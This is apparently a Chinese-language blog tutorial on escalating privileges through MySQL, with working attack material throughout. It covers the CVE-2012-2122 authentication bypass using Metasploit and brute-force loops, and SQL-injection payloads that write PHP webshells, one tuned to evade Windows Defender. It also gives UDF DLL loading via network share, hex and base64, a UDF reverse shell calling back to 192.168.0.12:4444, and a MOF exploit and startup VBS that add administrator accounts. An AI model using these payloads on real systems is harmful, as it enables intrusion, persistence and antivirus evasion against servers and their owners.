本篇博客主要介绍了mysql提权的相关内容!

mysql提权简介

我个人理解的mysql提权就是通过sql注入,爆破mysql用户密码等方式从而让我们可以执行sql语句,在此基础上达到执行命令,获取用户权限等等!

CVE-2012-2122

漏洞简介

该漏洞是身份认证绕过漏洞,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

影响版本

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

漏洞复现

msf里面已经集成了利用模块

1
2
3
4
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set rhosts 127.0.0.1
set rport 3306
run

然后解hash就行,解出来登陆

1
mysql -u root -P 9906 -h 127.0.0.1 -p

当然爆破登陆的方式不止这一种

shell脚本:

1
for i in `seq 1 1000`; do mysql -u root -h 127.0.0.1 -P 9906 --password=bad 2>/dev/null; done

python脚本:

1
2
3
4
#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root -h 47.97.210.171 -P 9906 --password=aaa", shell=True).wait()

利用写shell

outfile写文件

该操作需要写文件的目录要有写权限,并且mysql也要有写文件权限,需要进行以下更改参数

secure_file_priv 参数是只读参数,不能使用 SET GLOBAL 语句修改,只有修改 MySQL 的配置文件并重启 MySQL 才能对此进行修改。

1
2
mysql> SET GLOBAL secure_file_priv='';
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

1
2
3
值为null ,也就是注释掉这个参数或者secure_file_priv=null。表示限制mysqld 不允许导入|导出
值为/tmp/ ,即secure_file_priv="/tmp/" 表示限制mysqld 的导入|导出只能发生在/tmp/目录下
没有具体值时,即secure_file_priv= 表示不对mysqld 的导入|导出做限制

以sqli-labs第一关为例

1
?id=-1' union select 1,@@basedir,@@datadir%23

@@basedir是指Mysql的安装目录,@@datadir是指数据库文件的路径,我们需要用web目录,可以根据以上的信息猜一下

然后就可以写马了

1
?id=1' union select 1,2,'<?php @eval($_POST[1]);?>' into outfile "C:/phpStudy/PHPTutorial/www/moonback.php"%23

这种Windows Defender直接杀了,下面这个可以过Windows Defender

1
?id=1' union select 1,2,'<?php array_udiff_assoc(array($_REQUEST[1]), array(1), "ass"."ert");?>' into outfile "C:/phpStudy/PHPTutorial/www/moonback.php"%23

可以直接用sqlmap写webshell文件

利用日志写shell

前提是知道mysql root用户密,这里以phpmyadmin为例

开启日志记录

1
set global general_log='on';

日志文件导出指定目录

1
set global general_log_file='C:/phpstudy/PHPTutorial/WWW/1.php';

记录sql语句写马

1
select '<?php array_udiff_assoc(array($_REQUEST[1]), array(1), "ass"."ert");?>';

关闭记录

1
set global general_log=off;

udf提权

udf提权简介

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

动态链接库:是把程序代码中会使用的函数编译成机器码,不过是保存在.dll文件中。另外在编译时,不会把函数的机器码复制一份到可执行文件中。编译器只会在.exe的执行文件里,说明所要调用的函数放在哪一个*.dll文件。程序执行使用到这些函数时,操作系统会把dll文件中的函数拿出来给执行文件使用

udf提权的前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

复现

当然udf提权的前提是开启secure_file_priv参数

首先我们要判断mysql版本,根据不同的版本:

  • mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
  • mysql版本 > 5.2 ,UDF导出到安装路径MySQL/lib/plugin/,默认是没plugin路径的

查询插件安装目录:

1
SHOW VARIABLES LIKE '%plugin%'

大马提权

这里用的是:https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php

上传udf.php,登录进去,它会自动判断mysql版本决定出导出dll文件位置

先点Create PluginDir创建plugin目录,然后Dump UDF –> Create Function –> Mysql_query依次导出dll到指定目录,将udf的自定义函数引入,执行命令

可以看到我们已经拿到这台靶机的管理员权限

想要删除函数可以用

1
2
drop function shell; 删除函数
delete from mysql.func where name='shell' 删除函数

手工提权

先查看一下系统架构

1
select @@version_compile_os, @@version_compile_machine;

然后把对应系统udf.dll或者udf.so上传上去

网址:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

上传的时候我们可以使用网络路径

1
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

另一种方法是将整个DLL文件以十六进制编码后写入磁盘。

1
2
3
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

还有一种方法是创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。

1
2
3
4
5
6
7
create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

或者你也可以直接从磁盘将文件从网络共享加载到上面创建的表中,或使用“快速导入数据(load data infile)”语句在本地加载。将文件像上面显示的那样转换为十六进制,并在写入磁盘时解码。

1
2
3
4
5
load data infile '\\\\192.168.0.19\\network\\udf.hex' 
into table temp fields terminated by '@OsandaMalith'
lines terminated by '@OsandaMalith' (data);

select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

这里有个好消息,就是从MySQL 5.6.1和MariaDB 10.0.5开始,新增了to_base64和from_base64函数。如果你是一个善于绕过SQL注入WAF的人,相信你已经在使用这些函数了(提示:路由查询注入)。

1
2
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

你可以编辑base64文件并通过以下方式将其dump到插件目录。

1
2
3
4
5
6
7
8
9
10
11
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA")
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

之后,你可以像这样将整个文件传递给mysql。

1
mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64

你也可以从网络共享写入base64编码文件或使用“快速导入数据(load data infile)”语句在本地加载并通过以下语句dump。

1
2
select from_base64(data) from temp 
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

接着将udf的自定义函数引入

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'

执行命令

1
select sys_eval('whoami')

反弹端口提权

原理就是基于udf提权

exp:https://github.com/BeyondOneself/mysql-reverse-shell-priviledge

声明一个backdoor函数,第二条定义的@audf.dll内容的16进制

执行即可成功反弹shell

1
select backshell("192.168.0.12",4444);

mof提权

mof提权简介

MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡。

MOF文件既然每五秒就会执行,而且是系统权限,我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

利用条件

  • Windows<=2003
  • mysql在c:windows/system32/mof目录有写权限
  • 已知数据库账号密码

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

确保了前面的条件之后,我们可以先上传我们的mof文件到服务器任意目录,一般是网站允许上传的目录。

然后通过mysql语句将这个文件导入到nullevt.mof

1
select load_file("F:/wamp/www/upload/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

这里用到了dumpfile而不是outfile是因为:

  • dumpfile只能导出一行数据
  • outfile可以完整的导出每行记录,并且会在行末端写入新行,并且会转义换行符。

如果用outfile这个二进制可执行文件就会被破坏,所以这里我们使用了dumpfile。

然后我们分别两次将创建用户和提权命令替换poc中的命令做上述操作即可。两次使用的命令如下:

1
2
net.exe user test 123456 /add
net.exe user localgroup administrators test /add

删除账号需要重启服务:

1
2
3
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

按照这种思路我们也可以写vbs到开机启动项

1
2
3
4
5
create table a (cmd text); 
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user hpdoger 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators hpdoger /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

参考:

https://xz.aliyun.com/t/7392

https://wh0ale.github.io/2019/01/06/2019-1-6-Mysql%E6%8F%90%E6%9D%83

https://xz.aliyun.com/t/2719

https://www.freebuf.com/articles/system/163144.html

https://uuzdaisuki.com/2018/07/02/mysql%E6%95%B0%E6%8D%AE%E5%BA%93%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/

评论